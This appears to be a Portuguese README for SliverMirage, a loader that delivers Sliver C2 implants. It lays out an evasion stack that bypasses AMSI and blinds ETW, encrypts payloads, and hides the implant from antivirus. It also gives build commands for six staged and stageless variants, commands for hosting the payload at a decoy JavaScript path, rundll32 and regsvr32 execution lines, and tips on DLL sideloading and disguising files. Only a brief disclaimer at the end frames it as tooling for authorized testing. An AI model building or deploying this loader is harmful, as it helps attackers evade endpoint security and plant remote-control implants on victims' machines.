
Crystal Palace PICO loader para Sliver C2 bypass de AMSI em duas camadas, silenciamento de ETW, payloads criptografados com AES-256-CBC, 6 variantes de entrega
Um fork do CrystalSliver, estendendo o loader PICO do Crystal Palace com bypass de AMSI em duas camadas, silenciamento de ETW e seis variantes de entrega para o Sliver C2.
O SliverMirage encapsula uma DLL de implante do Sliver através da virtualização PICO do Crystal Palace e a entrega por meio de um loader que neutraliza AMSI e ETW sem aplicar patch em amsi.dll ou ntdll.dll.
Pilha de evasão:
| Camada | Técnica | Detalhe |
|---|
| AMSI L1 | Corrupção de strings do CLR | LdrRegisterDllNotification intercepta o carregamento de clr.dll, corrompe AmsiScanBuffer em .rdata antes que o CLR chame GetProcAddress |
| AMSI L2 | VEH + HWBP | O Vectored Exception Handler em AmsiScanBuffer retorna E_INVALIDARG |
| ETW | HWBP | DR1 em NtTraceControl, retorna STATUS_SUCCESS |
| Payload | AES-256-CBC + XOR | Descriptografia BCrypt, VirtualAlloc(RW) -> VirtualProtect(RX), zero RWX |
| Virtualização | Crystal Palace PICO | A DLL do Sliver é executada dentro de um processo PICO, invisível para o AV no espaço do usuário |
| Formato | Arquivo | Entrega | C2 em tempo de execução? |
|---|---|---|---|
exe | EXE Staged | EXE + payload.dat no site do C2 | Sim (HTTPS) |
exe-stageless | EXE Stageless | EXE único | Não |
dll | DLL Stageless | DLL única | Não |
dll-staged | DLL Staged | DLL + payload.dat no site do C2 | Sim (HTTPS) |
shellcode | Shellcode Staged | .bin + payload.dat | Sim (HTTPS) |
shellcode-stageless | Shellcode Stageless | .bin único | Não |
As variantes Staged baixam o PICO criptografado em tempo de execução de um site HTTPS do Sliver. O EXE/DLL é pequeno (~20 KB) e não carrega payload em disco.
As variantes Stageless incorporam o PICO criptografado em tempo de compilação (dupla camada XOR + AES). São maiores em disco, porém com zero atividade de rede antes do callback do beacon.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 com pefile (pip install pefile)opensslbuild.sh)O script de build provisiona automaticamente as dependências ausentes (incluindo Crystal Palace e Java 17) e cuida de todo o pipeline: DLL -> PICO do Crystal Palace -> criptografar -> compilar.
# Staged EXE (padrão)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Opções:
--dll <path> — DLL do implante do Sliver (obrigatório)--host <ip> — IP do servidor C2 (obrigatório para formatos staged)--port <port> — Porta do C2 (padrão: 443)--path <path> — Caminho da URL para download do payload (padrão: /assets/js/vendor.js)--format <fmt> — Formato de saída (padrão: exe)--export <name> — Nome de exportação personalizado da DLLSe você já possui um blob PICO do Crystal Palace:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# Todos os alvos
make clean
Envie build/payload.dat para um site HTTPS do Sliver:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Entregue build/csvchelper.exe (ou .dll) ao alvo.
Entrega em um único arquivo. Não é necessário configurar um site C2.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
Ou use sideloading de DLL (renomeie para corresponder a uma DLL legítima que o aplicativo de destino carrega).
Exportações: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Loader PICO do Crystal Palace (do CrystalSliver)
src/ # Códigos-fonte C do loader + ASM draugr
loader.spec # Especificação de linker do Crystal Palace
pico.spec # Especificação de geração PICO
src/
stager_remote.c # EXE Staged
stager_stageless.c # EXE Stageless
stager_remote_dll.c # DLL Staged
stager_stageless_dll.c # DLL Stageless
stager_debug.c # EXE de depuração (diagnóstico via MessageBox)
scripts/
gen_payload.py # Criptografia AES-256-CBC (staged)
gen_payload_stageless.py # Incorporação AES + XOR (stageless)
dll_to_shellcode.py # Conversor sRDI de DLL para shellcode
resources/
resource.rc # Informações de versão (EXE)
resource_dll.rc # Informações de versão (DLL)
manifest.xml # Manifesto asInvoker
libtcg.x64.zip # Biblioteca TCG para o Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — todas são APIs legítimas do WindowsVirtualProtect em DLLs do sistemaWinMain, -mwindows — sem flash de consoleasInvoker incorporado suprime heurísticas de UACresource.rc / resource_dll.rc com sua identidade de cobertura antes de compilarEste projeto destina-se exclusivamente a testes de segurança autorizados, pesquisa e fins educacionais. Use-o apenas em ambientes onde você tenha permissão explícita por escrito para realizar testes de penetração. O acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem responsabilidade pelo uso indevido deste software.
MIT